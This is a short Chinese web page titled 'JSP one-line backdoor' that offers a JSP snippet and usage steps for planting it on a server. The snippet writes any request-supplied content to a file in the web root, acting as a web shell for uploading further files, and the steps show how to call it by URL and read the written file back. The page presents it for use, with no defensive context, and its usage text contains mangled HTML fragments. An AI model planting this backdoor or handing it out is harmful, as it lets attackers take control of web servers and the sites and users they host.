JSP一句话后门
发布时间：2016-12-29 来源：查字典编辑
摘要：使用方法:提交url!jsp?f=1.txt"target="_blank">http://www.whitehouse.net.cn/1....
<%
if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
使用方法:
提交url!
jsp?f=1.txt"target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt就出来了内容为HelloWorld